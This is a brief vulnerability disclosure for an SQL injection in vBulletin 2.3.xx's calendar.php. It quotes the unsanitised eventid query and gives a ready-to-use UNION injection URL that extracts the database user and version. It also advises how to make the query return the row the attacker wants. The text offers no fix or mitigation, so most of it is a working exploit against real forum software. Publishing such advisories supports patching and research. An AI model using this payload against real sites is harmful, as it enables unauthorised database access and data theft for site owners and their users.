vBulletin Forum 2.3.xx SQL InjectionThere exist a sql injection problem in calendar.php.

-------- Cut from line 585 in calendar.php ----------
else if ($action == "edit")
{
$eventinfo = $DB_site->query_first("SELECT allowsmilies,public,userid,
eventdate,event,subject FROM calendar_events WHERE eventid = $eventid");
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If the MySQL version is greater than 4.00, a UNION attack could be used.

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http://ww.xxx.com/bbs/calendar.php?action=edit&eventid=12%20union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_ev
ents%20WHERE%20eventid%20=%2013)%20order%20by%20eventdate
-----------------------------------------

The query_first function will only return the first row of the query result, so make sure it returns !
the one you want.